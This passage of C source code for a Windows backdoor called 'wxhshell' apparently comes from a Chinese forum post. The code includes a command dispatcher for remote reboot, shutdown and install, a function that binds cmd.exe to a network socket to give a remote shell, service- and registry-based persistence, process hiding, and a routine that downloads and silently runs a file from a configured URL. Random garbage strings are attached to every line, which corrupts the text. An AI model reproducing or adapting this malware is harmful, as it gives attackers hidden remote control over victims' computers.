  else { ."j*4  
6o GF6C  
    switch(cmd[0]) { g1q%b%8T  
  z"!=A}i  
  // 帮助 B 3eNvUFZg  
  case '?': { L_AQS9a^D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -vS7%Fbr  
    break; (<yQA. M  
  } o&E2ds3  
  // 安装 &&n-$WEl  
  case 'i': { M5B?`mTl  
    if(Install()) KkZo|\V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D]Gt=2\NG9  
    else MLn?t^v-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ="[6Z$R  
    break; m6 a @Y<  
    } ;7yt,b5&C  
  // 卸载 B=2f-o  
  case 'r': { j`"cU$NRM  
    if(Uninstall()) _MGhG{p7t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f>+:UGmP  
    else oz?6$oE(bt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J]Qbg7|  
    break; [M:BJ%*  
    } wEIAU  
  // 显示 wxhshell 所在路径 7A>glZ/x  
  case 'p': { ;gW?Fnry;  
    char svExeFile[MAX_PATH]; 0Yc#fD  
    strcpy(svExeFile,"\n\r"); 6H!"oC&  
      strcat(svExeFile,ExeFile); qC YXkZ%`  
        send(wsh,svExeFile,strlen(svExeFile),0); N:rnH:g+:  
    break; 12yX`9h>  
    } r/6h}  
  // 重启 tJ9`Ys  
  case 'b': { &M+fb4:_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e@L7p,  
    if(Boot(REBOOT)) h+Tt+ Q\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f<( ysl1[  
    else { rKWkT"  
    closesocket(wsh); p"/B3  
    ExitThread(0); *mXs(u  
    } .JL?RH2@8  
    break; RLbxNn  
    } $.r:  
  // 关机 ?1MaA  
  case 'd': { v]BMET[w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J9/}ZD^  
    if(Boot(SHUTDOWN)) u:&Lf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #k<j`0kiq  
    else { ,(CIcDJ2U_  
    closesocket(wsh); "4qv yVOE  
    ExitThread(0); 6}e"$Ee}9  
    } S%m$LM]NCg  
    break; eI*o9k$Qs  
    } W%cJ#R[o  
  // 获取shell g"L$}#iTsl  
  case 's': { q/yL={H?  
    CmdShell(wsh); Sf*b{6lcC  
    closesocket(wsh); <lwkjt=RV  
    ExitThread(0); khtSZ"8X  
    break; bT{iei]?  
  } F]~>qt<ia  
  // 退出 gEU|Bx/!=  
  case 'x': { sYb(g'W*'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :*/`"M)'  
    CloseIt(wsh); Ta3qEVs  
    break; 7{e*isV  
    } cp>1b8l6?  
  // 离开 /__@a&9t  
  case 'q': { ]\5?E }kd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =%V(n{7=  
    closesocket(wsh); NJraol  
    WSACleanup(); W{(q7>g  
    exit(1); Grw|8xN0t  
    break; 6S# e?>"+  
        } `aW>h8$I)  
  } ^5 sO;vf  
  } mxJ& IV  
qE&R.I!o  
  // 提示信息 4R/cN' -  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "?UBW5nM#  
} &z(E-w/S  
  } X]OVc<F  
xMu[#\Vc  
  return; 5J4'\M  
} A7qKY-4B  
.v{ok,&  
// shell模块句柄 o1 kY|cnGH  
int CmdShell(SOCKET sock) 89[5a  
{ ub/9T-#l  
STARTUPINFO si; = j,Hxq  
ZeroMemory(&si,sizeof(si)); Y[ciT)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TxD,A0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^%?*u;uU%  
PROCESS_INFORMATION ProcessInfo; OF)G 2>t  
char cmdline[]="cmd"; '-7rHx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ej]:j8^W  
  return 0; 6RLYpQ$+  
} S3iXG @  
~S,R`wo  
// 自身启动模式 d/O~"d  
int StartFromService(void) YxUC.2V|7$  
{ x$;I E  
typedef struct _Fz]QxO  
{ 7xIXFuu  
  DWORD ExitStatus; +q/ j  
  DWORD PebBaseAddress; aI l}|n"  
  DWORD AffinityMask; pp#xN/V#a  
  DWORD BasePriority; F5|6*K  
  ULONG UniqueProcessId; ,33[/j  
  ULONG InheritedFromUniqueProcessId; L:ox$RU  
}   PROCESS_BASIC_INFORMATION; $6ev K~  
/uM;g9 m  
PROCNTQSIP NtQueryInformationProcess; '*~_!lE5  
|KHaL?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `H.~ # $  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,X05&'@Z  
a$*)d($  
  HANDLE             hProcess; mu[:b  
  PROCESS_BASIC_INFORMATION pbi; msyC."j0jU  
qBKRm0<W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1'[RrJ$Q  
  if(NULL == hInst ) return 0;  0#AS>K5  
F?wfh7q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gxIGL-1M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :4f>S) m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GEdWpYKS-`  
\CP)$0j-&o  
  if (!NtQueryInformationProcess) return 0; aeQvIob@  
h2SVDKj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y%FQ]Q=+  
  if(!hProcess) return 0; 78}QaE  
iz&$q]P8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; avmuI^LLs  
S4m??B  
  CloseHandle(hProcess); ,F,\bp}  
' DZYN {}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UbD1h_b  
if(hProcess==NULL) return 0; 7S_rN!E1i*  
sO,%Ok1  
HMODULE hMod; >VQP,J{  
char procName[255]; Kyz!YB  
unsigned long cbNeeded; ]ZD W+<  
`u z R!^X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vU:FDkx*nn  
H\Y5Fd9)  
  CloseHandle(hProcess); ] rP^  
N:j,9p0,  
if(strstr(procName,"services")) return 1; // 以服务启动 HH-A\#6J  
.$r=:k_d  
  return 0; // 注册表启动 )"W(0M] >  
} Z r}5)ZR.  
_.9):i2<SF  
// 主模块 Aj854 L(!  
int StartWxhshell(LPSTR lpCmdLine) JumZ>\'p(  
{ </UUvMf"  
  SOCKET wsl; p(jY2&g  
BOOL val=TRUE; >tUi ;!cQ  
  int port=0; F3-<F_4.w  
  struct sockaddr_in door; \(ygdZ{R  
S_E-H.d"  
  if(wscfg.ws_autoins) Install(); 0Jz5i4B  
*Kpk1  
port=atoi(lpCmdLine); eI+<^p_j2  
77FI&*q  
if(port<=0) port=wscfg.ws_port; _GoV\wGKl  
LH=gNFgzt  
  WSADATA data; NUlp4i~Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D5o[z:V7"  
S>-x<'Os  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z*+0gJ<Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 64)Fz}  
  door.sin_family = AF_INET; laR cEXj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Tz$ona  
  door.sin_port = htons(port); J**-q(>  
;_o1{?~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y9K U&L2  
closesocket(wsl); p#5U[@TK  
return 1; O_9M /[<  
} 9g7d:zG  
f<14-R=  
  if(listen(wsl,2) == INVALID_SOCKET) {  /$Qs1*  
closesocket(wsl); ))/NGa  
return 1; (=2-*((&(A  
} W'|NYw_B  
  Wxhshell(wsl); :]Nn(},  
  WSACleanup(); :%6OFO$z  
eb6Ux  
return 0; -6Y@_N  
<>n-+Kr  
} I~^t\iujs  
3 291"0  
// 以NT服务方式启动 F9ys.Bc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Frn<~  
{ -YDA,.Ic?  
DWORD   status = 0; 0}'xoYv f  
  DWORD   specificError = 0xfffffff; XniPNU  
JPH! .@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <r9L-4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '|I8byiK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I7@|{L1|FB  
  serviceStatus.dwWin32ExitCode     = 0; jR1o<]?  
  serviceStatus.dwServiceSpecificExitCode = 0; J0ys Z]  
  serviceStatus.dwCheckPoint       = 0; 1zGD~[M  
  serviceStatus.dwWaitHint       = 0; O$qxo &  
C+0MzfLgf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KKBrw+)AJ  
  if (hServiceStatusHandle==0) return; B(pxyv)  
f`$F^=  
status = GetLastError();  i/vo  
  if (status!=NO_ERROR) 2 c 2lK  
{ 8a,uM :  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ww}4   
    serviceStatus.dwCheckPoint       = 0; t5| }0ID-  
    serviceStatus.dwWaitHint       = 0; %Z8' h\|  
    serviceStatus.dwWin32ExitCode     = status; w#XD4kwQG  
    serviceStatus.dwServiceSpecificExitCode = specificError; "{;E+-/ aL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wtl3Ex,DO  
    return; 6"h,0rR  
  } v)b_bU]Hx  
4. =jKj9j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~'9\y"N1  
  serviceStatus.dwCheckPoint       = 0;  uc<JF=  
  serviceStatus.dwWaitHint       = 0; w4nU86oZYl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w)rd--9f  
} %,1xOl4l  
"t.Jv%0=  
// 处理NT服务事件,比如:启动、停止 !K8Kw W|X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wD\viu q0  
{ g"Tb\  
switch(fdwControl) `hl8j\HV<}  
{ 9-W3}4'e  
case SERVICE_CONTROL_STOP: R_4eME2LB  
  serviceStatus.dwWin32ExitCode = 0; O .ESI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %eE0a4^".  
  serviceStatus.dwCheckPoint   = 0; tD~ n PbbB  
  serviceStatus.dwWaitHint     = 0; ( < e q[(  
  { 6e;POW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VMee"'08  
  } 2q NA\-0i>  
  return; [.(,v n?6  
case SERVICE_CONTROL_PAUSE: |JL?"cc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^ Fnag]qQ  
  break; W ZT) LYA  
case SERVICE_CONTROL_CONTINUE: gkM Q=;Nn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BXb=N E  
  break; 3'7]jj  
case SERVICE_CONTROL_INTERROGATE: 03/mB2|TF(  
  break; DFXHD,o  
}; ELN1F0TneH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )n&6= Li  
} ;/h&40&  
&RHZ7T  
// 标准应用程序主函数 '8yCwk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9+iz+  
{ .6=;{h4cpB  
,Y4>$:#n/  
// 获取操作系统版本 UhKd o  
OsIsNt=GetOsVer(); d=p=eUd2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nz77" kC  
dq{+-XaEk  
  // 从命令行安装 f<{f/lU@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2oF1do;  
Dr)jB*yK  
  // 下载执行文件 .OpG2P  
if(wscfg.ws_downexe) { .6LlkM6[g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _-T^YeQ/  
  WinExec(wscfg.ws_filenam,SW_HIDE); I/*^s  
} SHYbQF2  
LVNA`|>  
if(!OsIsNt) { nWes,K6T  
// 如果时win9x,隐藏进程并且设置为注册表启动 iYf)FPET  
HideProc(); '~9w<dSB!r  
StartWxhshell(lpCmdLine); `Frr?.3&-  
} +lXIv  
else TVM19)9  
  if(StartFromService()) .0rTk$B  
  // 以服务方式启动 \ iA'^69  
  StartServiceCtrlDispatcher(DispatchTable); jL7r1pu5  
else D#D55X^6*  
  // 普通方式启动 #P1U] @  
  StartWxhshell(lpCmdLine); MtVvi6T  
/^L <q  
return 0; =)s~t|@v  
}
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只看该作者 1 发表于: 2006-10-10
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